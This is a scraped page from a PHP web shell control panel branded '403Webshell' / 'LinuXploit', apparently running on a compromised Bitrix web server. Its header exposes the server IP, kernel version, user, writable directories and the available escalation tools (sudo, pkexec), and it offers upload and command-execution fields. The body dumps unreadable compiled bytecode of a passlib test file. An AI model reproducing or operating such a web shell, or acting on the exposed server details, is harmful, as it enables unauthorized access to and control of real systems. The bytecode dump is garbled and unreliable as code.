403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/passlib/tests/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/passlib/tests/__pycache__/test_registry.cpython-39.pyc
a

f�Wc$�@s�dZddlmZddlmZddlZddlZddlmZm	Z	m
Z
ddlmZm
Z
mZmZmZddlmmZddlmZee�ZGdd	�d	ej�ZGd
d�dej�ZdZGd
d�de�ZdS)z>tests for passlib.hash -- (c) Assurance Technologies 2003-2009�)�with_statement)�	getLoggerN)�hash�registry�exc)�register_crypt_handler�register_crypt_handler_path�get_crypt_handler�list_crypt_handlers�_unload_handler_name)�TestCasec@seZdZdZdS)�dummy_0N��__name__�
__module__�__qualname__�name�rr�?/usr/lib/python3.9/site-packages/passlib/tests/test_registry.pyr
sr
c@seZdZdZdS)�alt_dummy_0r
Nrrrrrrsr�csPeZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
�ZS)�RegistryTestzpasslib.registrycs>tt|���ttj��ttj����fdd�}|�|�dS)Ncs0tj��tj���tj��tj���dS)N)r�
_locations�clear�update�	_handlersr��handlersZ	locationsrr�restore0s

z#RegistryTest.setUp.<locals>.restore)�superr�setUp�dictrrrZ
addCleanup)�selfr��	__class__rrr *s


zRegistryTest.setUpcCs�tt�tt�|�tttd�ttdd�}t�}|t_|�tj|�|durdt`|�	t
td��n|t_|�tj|�Gdd�dtj�}|t_
|�td�|�|�tttd|�dS)ztest passlib.hash proxy objectZfooey�
__loader__Nc@seZdZdZdS)z-RegistryTest.test_hash_proxy.<locals>.dummy_1�dummy_1Nrrrrrr&Psr&Zdummy_1x)�dirr�repr�assertRaises�AttributeError�getattr�objectr%�assertIs�assertFalse�hasattr�uh�
StaticHandlerr&r	�
ValueError�setattr)r"�old�testr&rrr�test_hash_proxy7s zRegistryTest.test_hash_proxycCs�tj}|�d|v�|�ttd��|�ttdd�|�ttdt	d�|�ttdt	d�tdt	�|�dt
�v�|�dt
dd�v�|�tjt�|�dt
dd�v�t
d�tdt	d�|�tjt�t
d�tdt	�|�ttd�td	t	�|�ttd	�t
d	�tj�d
d�tdd
�t���&t�d
dt�td�}Wd�n1�s^0Yddlm}|�||j�dS)z"test register_crypt_handler_path()r
z.test_registryz:dummy_0:xxxz:dummy_0.xxxT)Zloaded_onlyz:alt_dummy_0�dummy_xrz passlib.tests._test_bad_registerNZ	dummy_bad�ignoreZ
xxxxxxxxxxr)�_test_bad_register)rr�
assertTruer.r/rr)r2rrr
r-r
�unload_handler_namer�	TypeErrorr	�sys�modules�pop�warnings�catch_warnings�filterwarnings�DeprecationWarningZ
passlib.testsr9Z
alt_dummy_bad)r"�paths�hZtbrrrr� test_register_crypt_handler_pathXsB���




(z-RegistryTest.test_register_crypt_handler_pathc
CsP|�tti�|�tttdtjftdd���|�tttdtjftdd���|�tttdtjftdd���|�tttdtjftdd���|�tttdtjftdd���Gdd	�d	tj�}Gd
d�dtj�}|�d	t	�v�t|�t|�|�
td	�|�|�tt|�|�
td	�|�t|dd
�|�
td	�|�|�d	t	�v�dS)ztest register_crypt_handler()�xN)rZAB_CDzab-cdZab__cd�defaultc@seZdZdZdS)z9RegistryTest.test_register_crypt_handler.<locals>.dummy_1r&Nrrrrrr&�sr&c@seZdZdZdS)z:RegistryTest.test_register_crypt_handler.<locals>.dummy_1br&Nrrrrr�dummy_1b�srIT)�force)
r)r<rr2�typer0r1r!r:r
r-r	�KeyError)r"r&rIrrr�test_register_crypt_handler�s"     z(RegistryTest.test_register_crypt_handlercCs�Gdd�dtj�}|�ttd�|�tdd�d�t|�|�td�|�t���Ht�	ddt
�|�td�|�tdt�|�td�t
�Wd�n1s�0Yd	d
lm}d|jd<d
D]$}|�tt|�|�t|d�d�q�dS)ztest get_crypt_handler()c@seZdZdZdS)z4RegistryTest.test_get_crypt_handler.<locals>.dummy_1r&Nrrrrrr&�sr&Nr8zMhandler names should be lower-case, and use underscores instead of hyphens:.*zDUMMY-1r
zDUMMY-0r)r�dummy�_fake)rO�__package__)r0r1r)rLr	r-rr@rArB�UserWarningrrr
�passlibr�__dict__)r"r&rrrrr�test_get_crypt_handler�s

.
z#RegistryTest.test_get_crypt_handlercCsDddlm}dtjd<|�D]}|�|�d�d|�qtd�dS)ztest list_crypt_handlers()r�r
rNrO�_z%r: N)�passlib.registryr
rrSr.�
startswithr;)r"r
rrrr�test_list_crypt_handlers�s


z%RegistryTest.test_list_crypt_handlersc	Cs�ddlm}ddlm}m}|�D]b}|�d�rD|dd�|�vrDq"|dvrNq"z|�||��Wq"tjy�||vr|Yq"�Yq"0q"dS)z-verify we have tests for all builtin handlersrrU)�get_handler_case�conditionally_available_hashesZldap_�N)Zroundup_plaintext)	rWr
Zpasslib.tests.test_handlersrZr[rXr:rZMissingBackendError)r"r
rZr[rrrr�
test_handlers�s
zRegistryTest.test_handlers)rrrZdescriptionPrefixr r6rFrMrTrYr]�
__classcell__rrr#rr&s
!0
r)�__doc__Z
__future__rZloggingrr@r=rRrrrrWrrr	r
rr;Zpasslib.utils.handlersZutilsrr0Zpasslib.tests.utilsrr�logr1r
rr7rrrrr�<module>s	

Youez - 2016 - github.com/yon3zu
LinuXploit